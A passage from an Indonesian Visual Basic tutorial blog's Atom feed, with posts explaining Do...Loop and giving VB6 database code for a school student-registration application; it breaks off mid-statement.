&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Bagi yang tidak ingin ribet silakan download source codenya &lt;a href="http://www.ziddu.com/download/2992589/mengurutkandata.zip.html"&gt;disini&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-3175328141104073251?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/3175328141104073251/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=3175328141104073251' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/3175328141104073251'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/3175328141104073251'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2008/12/teknik-mengurutkan-data.html' title='Teknik mengurutkan data'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_eGS0YABgxQo/SVBglto81nI/AAAAAAAAAEg/EYZxJ327pNQ/s72-c/untitled3.bmp' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-5936795943715792561</id><published>2008-12-23T10:42:00.003+07:00</published><updated>2008-12-23T10:49:29.682+07:00</updated><title type='text'>Teknik Perulangan atau Looping pada Visual Basic</title><content type='html'>Kali ini penulis coba angkat topik teori perulangan, kemaren sempet ada yang menanyakan hal ini kepada penulis akhirnya penulis ingin membahasnya.  &lt;p class="MsoNormal"&gt;&lt;st1:place st="on"&gt;Loop&lt;/st1:place&gt; adalah proses perulangan yang mengerjakan satu atau lebih statement. &lt;st1:place st="on"&gt;Loop&lt;/st1:place&gt; diperlukan untuk mengerjakan suatu proses operasi secara tahap demi tahap dengan nilai variabel yang menaik atau menurun.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Bila digambarkan aliran loop seperti gambar berikut&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;!--[if gte vml 1]&gt;&lt;v:group id="_x0000_s1028" style="'position:absolute;" coordorigin="2880,3645" coordsize="4140,2517"&gt;  &lt;v:shapetype id="_x0000_t202" coordsize="21600,21600" spt="202" path="m,l,21600r21600,l21600,xe"&gt;   &lt;v:stroke joinstyle="miter"&gt;   &lt;v:path gradientshapeok="t" connecttype="rect"&gt;  &lt;/v:shapetype&gt;&lt;v:shape id="_x0000_s1029" type="#_x0000_t202" style="'position:absolute;" filled="f" stroked="f"&gt;   &lt;v:textbox style="'mso-next-textbox:#_x0000_s1029'"&gt;    &lt;![if !mso]&gt;    &lt;table cellpadding="0" cellspacing="0" width="100%"&gt;     &lt;tr&gt;      &lt;td&gt;&lt;![endif]&gt;      &lt;div&gt;      &lt;p class="MsoNormal"&gt;&lt;st1:place st="on"&gt;Loop&lt;/st1:place&gt; ketiga&lt;/p&gt;      &lt;/div&gt;      &lt;![if !mso]&gt;&lt;/td&gt;     &lt;/tr&gt;    &lt;/table&gt;    &lt;![endif]&gt;&lt;/v:textbox&gt;  &lt;/v:shape&gt;&lt;v:shape id="_x0000_s1030" type="#_x0000_t202" style="'position:absolute;" filled="f" stroked="f"&gt;   &lt;v:textbox style="'mso-next-textbox:#_x0000_s1030'"&gt;    &lt;![if !mso]&gt;    &lt;table cellpadding="0" cellspacing="0" width="100%"&gt;     &lt;tr&gt;      &lt;td&gt;&lt;![endif]&gt;      &lt;div&gt;      &lt;p class="MsoNormal"&gt;Akhiri Loop ketiga&lt;/p&gt;      &lt;/div&gt;      &lt;![if !mso]&gt;&lt;/td&gt;     &lt;/tr&gt;    &lt;/table&gt;    &lt;![endif]&gt;&lt;/v:textbox&gt;  &lt;/v:shape&gt;&lt;v:group id="_x0000_s1031" style="'position:absolute;left:2880;top:3912;" coordorigin="2880,3912" coordsize="4140,1992"&gt;   &lt;v:shape id="_x0000_s1032" style="'position:absolute;left:2880;top:3912;" coordsize="1800,1980" path="m1800,l,,,1980r1800,e" filled="f"&gt;    &lt;v:path arrowok="t"&gt;   &lt;/v:shape&gt;&lt;v:shape id="_x0000_s1033" style="'position:absolute;left:3120;" coordsize="1800,1980" path="m1800,l,,,1980r1800,e" filled="f"&gt;    &lt;v:path arrowok="t"&gt;   &lt;/v:shape&gt;&lt;v:shape id="_x0000_s1034" style="'position:absolute;left:3360;" coordsize="1800,1980" path="m1800,l,,,1980r1800,e" filled="f"&gt;    &lt;v:path arrowok="t"&gt;   &lt;/v:shape&gt;&lt;v:shape id="_x0000_s1035" type="#_x0000_t202" style="'position:absolute;" filled="f" stroked="f"&gt;    &lt;v:textbox style="'mso-next-textbox:#_x0000_s1035'"&gt;     &lt;![if !mso]&gt;     &lt;table cellpadding="0" cellspacing="0" width="100%"&gt;      &lt;tr&gt;       &lt;td&gt;&lt;![endif]&gt;       &lt;div&gt;       &lt;p class="MsoNormal"&gt;&lt;st1:place st="on"&gt;Loop&lt;/st1:place&gt; kedua&lt;/p&gt;       &lt;/div&gt;       &lt;![if !mso]&gt;&lt;/td&gt;      &lt;/tr&gt;     &lt;/table&gt;     &lt;![endif]&gt;&lt;/v:textbox&gt;   &lt;/v:shape&gt;&lt;v:shape id="_x0000_s1036" type="#_x0000_t202" style="'position:absolute;" filled="f" stroked="f"&gt;    &lt;v:textbox style="'mso-next-textbox:#_x0000_s1036'"&gt;     &lt;![if !mso]&gt;     &lt;table cellpadding="0" cellspacing="0" width="100%"&gt;      &lt;tr&gt;       &lt;td&gt;&lt;![endif]&gt;       &lt;div&gt;       &lt;p class="MsoNormal"&gt;&lt;st1:place st="on"&gt;Loop&lt;/st1:place&gt; pertama&lt;/p&gt;       &lt;/div&gt;       &lt;![if !mso]&gt;&lt;/td&gt;      &lt;/tr&gt;     &lt;/table&gt;     &lt;![endif]&gt;&lt;/v:textbox&gt;   &lt;/v:shape&gt;&lt;v:shape id="_x0000_s1037" type="#_x0000_t202" style="'position:absolute;" filled="f" stroked="f"&gt;    &lt;v:textbox style="'mso-next-textbox:#_x0000_s1037'"&gt;     &lt;![if !mso]&gt;     &lt;table cellpadding="0" cellspacing="0" width="100%"&gt;      &lt;tr&gt;       &lt;td&gt;&lt;![endif]&gt;       &lt;div&gt;       &lt;p class="MsoNormal"&gt;Blok statement&lt;/p&gt;       &lt;/div&gt;       &lt;![if !mso]&gt;&lt;/td&gt;      &lt;/tr&gt;     &lt;/table&gt;     &lt;![endif]&gt;&lt;/v:textbox&gt;   &lt;/v:shape&gt;&lt;v:shape id="_x0000_s1038" type="#_x0000_t202" style="'position:absolute;" filled="f" stroked="f"&gt;    &lt;v:textbox style="'mso-next-textbox:#_x0000_s1038'"&gt;     &lt;![if !mso]&gt;     &lt;table cellpadding="0" cellspacing="0" width="100%"&gt;      &lt;tr&gt;       &lt;td&gt;&lt;![endif]&gt;       &lt;div&gt;       &lt;p class="MsoNormal"&gt;Akhiri Loop pertama&lt;/p&gt;       &lt;/div&gt;       &lt;![if !mso]&gt;&lt;/td&gt;      &lt;/tr&gt;     &lt;/table&gt;     &lt;![endif]&gt;&lt;/v:textbox&gt;   &lt;/v:shape&gt;&lt;v:shape id="_x0000_s1039" type="#_x0000_t202" style="'position:absolute;" filled="f" stroked="f"&gt;    &lt;v:textbox style="'mso-next-textbox:#_x0000_s1039'"&gt;     &lt;![if !mso]&gt;     &lt;table cellpadding="0" cellspacing="0" width="100%"&gt;      &lt;tr&gt;       &lt;td&gt;&lt;![endif]&gt;       &lt;div&gt;       &lt;p class="MsoNormal"&gt;Akhiri Loop kedua&lt;/p&gt;       &lt;/div&gt;       &lt;![if !mso]&gt;&lt;/td&gt;      &lt;/tr&gt;     &lt;/table&gt;     &lt;![endif]&gt;&lt;/v:textbox&gt;   &lt;/v:shape&gt;&lt;/v:group&gt;&lt;/v:group&gt;&lt;![endif]--&gt;&lt;!--[if !vml]--&gt;&lt;span style=""&gt;  &lt;table align="left" cellpadding="0" cellspacing="0"&gt;  &lt;tbody&gt;&lt;tr&gt;   &lt;td height="6" width="71"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;/tr&gt;  &lt;tr&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;   &lt;td&gt;&lt;br /&gt;&lt;/td&gt;  &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;  &lt;/span&gt;&lt;!--[endif]--&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_eGS0YABgxQo/SVBfmcHvU8I/AAAAAAAAAEY/7nZ0UAFauTE/s1600-h/untitled2.bmp"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 317px; height: 171px;" src="http://3.bp.blogspot.com/_eGS0YABgxQo/SVBfmcHvU8I/AAAAAAAAAEY/7nZ0UAFauTE/s400/untitled2.bmp" alt="" id="BLOGGER_PHOTO_ID_5282827476893914050" border="0" /&gt;&lt;/a&gt;  &lt;p class="MsoNormal"&gt;Function Do…Loop&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Fungsi ini digunakan untuk mengulang blok statement bila kondisi benar atau sampai kondisi menjadi benar. Bila tidak ada perintah keluar fungsi loop akan terus berjalan.&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Contoh sintaksnya sebagai berikut&lt;/p&gt;  &lt;p class="MsoNormal" style="text-indent: 0.5in;"&gt;&lt;i style=""&gt;Do [while|until] kondisi&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;i style=""&gt;&lt;span style=""&gt;                        &lt;/span&gt;Statement&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;i style=""&gt;&lt;span style=""&gt;            &lt;/span&gt;Exit do&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;i style=""&gt;&lt;span style=""&gt;                        &lt;/span&gt;Statement&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;i style=""&gt;&lt;span style=""&gt;            &lt;/span&gt;&lt;st1:place st="on"&gt;Loop&lt;/st1:place&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Nah sebagai contoh dalam pemrogramannya seperti berikut :&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Coba buat 1 project dengan 1 form kemudian isikan script berikut&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;i style=""&gt;Private sub form_load()&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-indent: 0.5in;"&gt;&lt;i style=""&gt;Dim stptrs,&lt;span style=""&gt;  &lt;/span&gt;bilrndm, helpfile, context&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-indent: 0.5in;"&gt;&lt;i style=""&gt;Do until stptrs = vbno&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-indent: 0.5in;"&gt;&lt;i style=""&gt;Bilrndm = int(3 * rnd + 1)&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-left: 0.5in;"&gt;&lt;i style=""&gt;Stptrs = msgbox (“berhenti/lanjut?”, vbyesno, “bilangan random: “&amp;amp;bilrndm,&lt;span style=""&gt;  &lt;/span&gt;helpfile, context)&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;st1:place st="on"&gt;&lt;i style=""&gt;Loop&lt;/i&gt;&lt;/st1:place&gt;&lt;i style=""&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;i style=""&gt;End sub&lt;/i&gt;&lt;i style=""&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Nah berikut hasil dari tampilan tersebut&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_eGS0YABgxQo/SVBfL0uytxI/AAAAAAAAAEQ/yaUZyYYCNE8/s1600-h/untitled.bmp"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 186px; height: 107px;" src="http://4.bp.blogspot.com/_eGS0YABgxQo/SVBfL0uytxI/AAAAAAAAAEQ/yaUZyYYCNE8/s400/untitled.bmp" alt="" id="BLOGGER_PHOTO_ID_5282827019643696914" border="0" /&gt;&lt;/a&gt;&lt;/p&gt;&lt;span style=""&gt;&lt;!--[if gte vml 1]&gt;&lt;v:shapetype id="_x0000_t75" coordsize="21600,21600" spt="75" preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f"&gt;  &lt;v:stroke joinstyle="miter"&gt;  &lt;v:formulas&gt;   &lt;v:f eqn="if lineDrawn pixelLineWidth 0"&gt;   &lt;v:f eqn="sum @0 1 0"&gt;   &lt;v:f eqn="sum 0 0 @1"&gt;   &lt;v:f eqn="prod @2 1 2"&gt;   &lt;v:f eqn="prod @3 21600 pixelWidth"&gt;   &lt;v:f eqn="prod @3 21600 pixelHeight"&gt;   &lt;v:f eqn="sum @0 0 1"&gt;   &lt;v:f eqn="prod @6 1 2"&gt;   &lt;v:f eqn="prod @7 21600 pixelWidth"&gt;   &lt;v:f eqn="sum @8 21600 0"&gt;   &lt;v:f eqn="prod @7 21600 pixelHeight"&gt;   &lt;v:f eqn="sum @10 21600 0"&gt;  &lt;/v:formulas&gt;  &lt;v:path extrusionok="f" gradientshapeok="t" connecttype="rect"&gt;  &lt;o:lock ext="edit" aspectratio="t"&gt; &lt;/v:shapetype&gt;&lt;v:shape id="_x0000_i1025" type="#_x0000_t75" style="'width:139.5pt;"&gt;  &lt;v:imagedata src="file:///C:\DOCUME~1\nusapro\LOCALS~1\Temp\msohtml1\05\clip_image001.gif" title="untitled"&gt; &lt;/v:shape&gt;&lt;![endif]--&gt;&lt;!--[if !vml]--&gt;&lt;!--[endif]--&gt;&lt;/span&gt;&lt;p class="MsoNormal"&gt;Oke Silakan kalian kembangkan funtion loop ini secara maksimal dengan cara yang kalian inginkan…dan tetap semangat buat belajar&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-5936795943715792561?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/5936795943715792561/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=5936795943715792561' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/5936795943715792561'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/5936795943715792561'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2008/12/teknik-perulangan-atau-looping-pada.html' title='Teknik Perulangan atau Looping pada Visual Basic'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_eGS0YABgxQo/SVBfmcHvU8I/AAAAAAAAAEY/7nZ0UAFauTE/s72-c/untitled2.bmp' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-1051668341428460407</id><published>2008-12-18T19:53:00.003+07:00</published><updated>2008-12-18T20:41:45.363+07:00</updated><title type='text'>Membuat aplikasi pendaftaran siswa baru</title><content type='html'>Kali ini penulis mencoba membuat program pendaftaran siswa baru untuk sekolah karena ada salah satu vbthok mania yang mungkin ingin membuat program tersebut tapi masih bingung. Program ini berdasarkan pengamatan penulis jadi mungkin masih ada yang kurang, untuk itu vbthok mania bisa kembangkan sendiri sesuai ide dari vbthok mania.&lt;br /&gt;ada 7 form yang dibuat dari program ini yaitu :&lt;br /&gt;1. form menu&lt;br /&gt;2. form sekolah&lt;br /&gt;3. form pendaftaran siswa baru&lt;br /&gt;4. form siswa baru&lt;br /&gt;5. form laporan data calon siswa baru&lt;br /&gt;6. form laporan data siswa baru yang diterima&lt;br /&gt;7. form laporan daftar siswa baru&lt;br /&gt;berikut tampilan untuk programnya..&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_eGS0YABgxQo/SUpNT-ntT5I/AAAAAAAAAEI/7baZpz9_T3E/s1600-h/siswa.bmp"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 313px;" src="http://1.bp.blogspot.com/_eGS0YABgxQo/SUpNT-ntT5I/AAAAAAAAAEI/7baZpz9_T3E/s400/siswa.bmp" alt="" id="BLOGGER_PHOTO_ID_5281118518667726738" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Dan berikut untuk script kodenya&lt;br /&gt;&lt;br /&gt;'untuk form menu&lt;br /&gt;Private Sub Mnbaru_Click()&lt;br /&gt;Siswa.Show&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub mncadangan_Click()&lt;br /&gt;lcadangan.Show&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub mncalon_Click()&lt;br /&gt;Calon.Show&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub mncbaru_Click()&lt;br /&gt;lcalon.Show&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub mnkel_Click()&lt;br /&gt;Unload Me&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub mnsek_Click()&lt;br /&gt;Sekolah.Show&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub mnsiswa_Click()&lt;br /&gt;datas.Show&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub mnterima_Click()&lt;br /&gt;lditerima.Show&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;'untuk form sekolah&lt;br /&gt;Public dbrayon As Database&lt;br /&gt;Public rsrayon As Recordset&lt;br /&gt;Private Sub hapus_Click()&lt;br /&gt;rsrayon.Delete&lt;br /&gt;Call bersih&lt;br /&gt;End Sub&lt;br /&gt;Private Sub keluar_Click()&lt;br /&gt;Unload Me&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub koreksi_Click()&lt;br /&gt; rsrayon.Edit&lt;br /&gt; rsrayon(1) = rayo.Text&lt;br /&gt; rsrayon(0) = nama.Text&lt;br /&gt;  rsrayon.Update&lt;br /&gt;  Call bersih&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub simpan_Click()&lt;br /&gt; rsrayon.AddNew&lt;br /&gt; rsrayon(1) = rayo.Text&lt;br /&gt; rsrayon(0) = nama.Text&lt;br /&gt; rsrayon.Update&lt;br /&gt; Call bersih&lt;br /&gt; End Sub&lt;br /&gt;Private Sub bersih()&lt;br /&gt;nama.Text = ""&lt;br /&gt;rayo.Text = ""&lt;br /&gt;nama.SetFocus&lt;br /&gt;End Sub&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;Set dbrayon = OpenDatabase(App.Path &amp;amp; "\Siswa baru.mdb")&lt;br /&gt;Set rsrayon = dbrayon.OpenRecordset("Rayon")&lt;br /&gt;rsrayon.Index = "cari"&lt;br /&gt;nama = ""&lt;br /&gt;End Sub&lt;br /&gt;Private Sub nama_Change()&lt;br /&gt;&lt;br /&gt;    rsrayon.Seek "=", nama.Text&lt;br /&gt;    If rsrayon.NoMatch Then&lt;br /&gt;    simpan.Enabled = True&lt;br /&gt;    Hapus.Enabled = False&lt;br /&gt;    Koreksi.Enabled = False&lt;br /&gt;    ElseIf Not rsrayon.NoMatch Then&lt;br /&gt;    rayo.Text = rsrayon(1)&lt;br /&gt;      simpan.Enabled = False&lt;br /&gt;    Hapus.Enabled = True&lt;br /&gt;    Koreksi.Enabled = True&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;'form daftar siswa baru&lt;br /&gt;Public dbcalon As Database&lt;br /&gt;Public rscalon As Recordset&lt;br /&gt;Public dbsiswa As Database&lt;br /&gt;Public rssiswa As Recordset&lt;br /&gt;&lt;br /&gt;Private Sub daftar_Click()&lt;br /&gt;rscalon.Seek "=", daftar.Text&lt;br /&gt;If Not rscalon.NoMatch Then&lt;br /&gt; nis.Text = ""&lt;br /&gt; nama.Text = rscalon(1)&lt;br /&gt; alamat.Text = rscalon(2)&lt;br /&gt; Kelamin.Text = rscalon(3)&lt;br /&gt; tempat.Text = rscalon(4)&lt;br /&gt; tanggal.Value = rscalon(5)&lt;br /&gt; daftar.Enabled = False&lt;br /&gt; nama.Enabled = False&lt;br /&gt; alamat.Enabled = False&lt;br /&gt; Kelamin.Enabled = False&lt;br /&gt; tempat.Enabled = False&lt;br /&gt;  tanggal.Enabled = False&lt;br /&gt;&lt;br /&gt; Else&lt;br /&gt; nis.Text = ""&lt;br /&gt; nama.Text = ""&lt;br /&gt; alamat.Text = ""&lt;br /&gt; Kelamin.Text = ""&lt;br /&gt; tempat.Text = ""&lt;br /&gt; 'tanggal.Value = ""&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub koreksi_Click()&lt;br /&gt; rssiswa.Edit&lt;br /&gt; rssiswa(0) = nis.Text&lt;br /&gt; rssiswa(1) = nama.Text&lt;br /&gt; rssiswa(2) = alamat.Text&lt;br /&gt; rssiswa(3) = Kelamin.Text&lt;br /&gt; rssiswa(4) = tempat.Text&lt;br /&gt; rssiswa(5) = tanggal.Value&lt;br /&gt; rssiswa(6) = wali.Text&lt;br /&gt;   rssiswa.Update&lt;br /&gt;  Call bersih&lt;br /&gt;End Sub&lt;br /&gt;Private Sub hapus_Click()&lt;br /&gt;rssiswa.Delete&lt;br /&gt;Call bersih&lt;br /&gt;End Sub&lt;br /&gt;Private Sub keluar_Click()&lt;br /&gt;Unload Me&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub nis_Change()&lt;br /&gt;    rssiswa.Seek "=", nis.Text&lt;br /&gt;    If rssiswa.NoMatch Then&lt;br /&gt;    wali = ""&lt;br /&gt;    simpan.Enabled = True&lt;br /&gt;    Hapus.Enabled = False&lt;br /&gt;    Koreksi.Enabled = False&lt;br /&gt;    ElseIf Not rssiswa.NoMatch Then&lt;br /&gt;    nama.Text = rssiswa(1)&lt;br /&gt;    alamat.Text = rssiswa(2)&lt;br /&gt;    Kelamin.Text = rssiswa(3)&lt;br /&gt;    tempat.Text = rssiswa(4)&lt;br /&gt;    tanggal.Value = rssiswa(5)&lt;br /&gt;    wali.Text = rssiswa(6)&lt;br /&gt;    nama.Enabled = True&lt;br /&gt; Kelamin.Enabled = True&lt;br /&gt; alamat.Enabled = True&lt;br /&gt; tempat.Enabled = True&lt;br /&gt;  tanggal.Enabled = True&lt;br /&gt;    simpan.Enabled = False&lt;br /&gt;    Hapus.Enabled = True&lt;br /&gt;    Koreksi.Enabled = True&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub simpan_Click()&lt;br /&gt; rssiswa.AddNew&lt;br /&gt;rssiswa(0) = nis.Text&lt;br /&gt; rssiswa(1) = nama.Text&lt;br /&gt; rssiswa(2) = alamat.Text&lt;br /&gt; rssiswa(3) = Kelamin.Text&lt;br /&gt; rssiswa(4) = tempat.Text&lt;br /&gt; rssiswa(5) = tanggal.Value&lt;br /&gt; rssiswa(6) = wali.Text&lt;br /&gt;  rssiswa.Update&lt;br /&gt;  Call bersih&lt;br /&gt; End Sub&lt;br /&gt;Private Sub bersih()&lt;br /&gt;daftar.Text = ""&lt;br /&gt;nis.Text = ""&lt;br /&gt;nama.Text = ""&lt;br /&gt;alamat.Text = ""&lt;br /&gt;Kelamin.Text = ""&lt;br /&gt;tempat.Text = ""&lt;br /&gt;wali.Text = ""&lt;br /&gt;daftar.Enabled = True&lt;br /&gt;daftar.SetFocus&lt;br /&gt;End Sub&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;Set dbcalon = OpenDatabase(App.Path &amp;amp; "\Siswa baru.mdb")&lt;br /&gt;Set rscalon = dbcalon.OpenRecordset("calon")&lt;br /&gt;rscalon.Index = "cari1"&lt;br /&gt;Set dbsiswa = OpenDatabase(App.Path &amp;amp; "\Siswa baru.mdb")&lt;br /&gt;Set rssiswa = dbsiswa.OpenRecordset("siswa")&lt;br /&gt;rssiswa.Index = "cari"&lt;br /&gt;rscalon.MoveFirst&lt;br /&gt;While Not rscalon.EOF&lt;br /&gt;daftar.AddItem (rscalon(0))&lt;br /&gt;rscalon.MoveNext&lt;br /&gt;Wend&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;'form laporan calon siswa baru&lt;br /&gt;Public dbcalon As Database&lt;br /&gt;Public rscalon As Recordset&lt;br /&gt;Public dblaporan As Database&lt;br /&gt;Public rslaporan As Recordset&lt;br /&gt;&lt;br /&gt;Private Sub HapusTabel()&lt;br /&gt;If rslaporan.RecordCount &lt;&gt; 0 Then&lt;br /&gt;Do While Not rslaporan.EOF&lt;br /&gt;    rslaporan.Delete&lt;br /&gt;    rslaporan.MoveNext&lt;br /&gt;Loop&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Sub cmdBatal_Click()&lt;br /&gt;Unload Me&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub cmdProses_Click()&lt;br /&gt;Set dblaporan = OpenDatabase(App.Path &amp;amp; "\laporan.mdb")&lt;br /&gt;Set rslaporan = dblaporan.OpenRecordset("lap1")&lt;br /&gt;HapusTabel&lt;br /&gt; rscalon.MoveFirst&lt;br /&gt;    Do While Not rscalon.EOF&lt;br /&gt;           rslaporan.AddNew&lt;br /&gt;            rslaporan(0) = Tahun&lt;br /&gt;            rslaporan(1) = rscalon(0)&lt;br /&gt;            rslaporan(2) = rscalon(1)&lt;br /&gt;            rslaporan(3) = rscalon(5)&lt;br /&gt;            rslaporan(4) = rscalon(3)&lt;br /&gt;            rslaporan(5) = rscalon(6)&lt;br /&gt;            rslaporan(6) = rscalon(7)&lt;br /&gt;        rslaporan.Update&lt;br /&gt;    rscalon.MoveNext&lt;br /&gt;Loop&lt;br /&gt;  &lt;br /&gt;dblaporan.Close&lt;br /&gt;lap.ReportFileName = App.Path &amp;amp; "\lap1.rpt"&lt;br /&gt;lap.DataFiles(0) = App.Path &amp;amp; "\laporan.mdb"&lt;br /&gt;lap.WindowState = crptMaximized&lt;br /&gt;lap.WindowTitle = "Laporan Daftar Calon Siswa"&lt;br /&gt;lap.Action = 28&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Private Sub Command2_Click()&lt;br /&gt;Unload Me&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;Set dbcalon = OpenDatabase(App.Path &amp;amp; "\siswa baru.mdb")&lt;br /&gt;Set rscalon = dbcalon.OpenRecordset("calon")&lt;br /&gt;rscalon.Index = "cari1"&lt;br /&gt;&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;'form calon siswa baru yang diterima&lt;br /&gt;Public dbcalon As Database&lt;br /&gt;Public rscalon As Recordset&lt;br /&gt;Public dblaporan As Database&lt;br /&gt;Public rslaporan As Recordset&lt;br /&gt;Public dbrayon As Database&lt;br /&gt;Public rsrayon As Recordset&lt;br /&gt;&lt;br /&gt;Private Sub HapusTabel()&lt;br /&gt;If rslaporan.RecordCount &lt;&gt; 0 Then&lt;br /&gt;Do While Not rslaporan.EOF&lt;br /&gt;    rslaporan.Delete&lt;br /&gt;    rslaporan.MoveNext&lt;br /&gt;Loop&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;Private Sub cmdBatal_Click()&lt;br /&gt;Unload Me&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub cmdProses_Click()&lt;br /&gt;Set dblaporan = OpenDatabase(App.Path &amp;amp; "\laporan.mdb")&lt;br /&gt;Set rslaporan = dblaporan.OpenRecordset("lap2")&lt;br /&gt;HapusTabel&lt;br /&gt;rscalon.MoveFirst&lt;br /&gt;    Do While Not rscalon.EOF&lt;br /&gt;    If (rscalon(8) = "C" And rscalon(7) &gt;= 33) 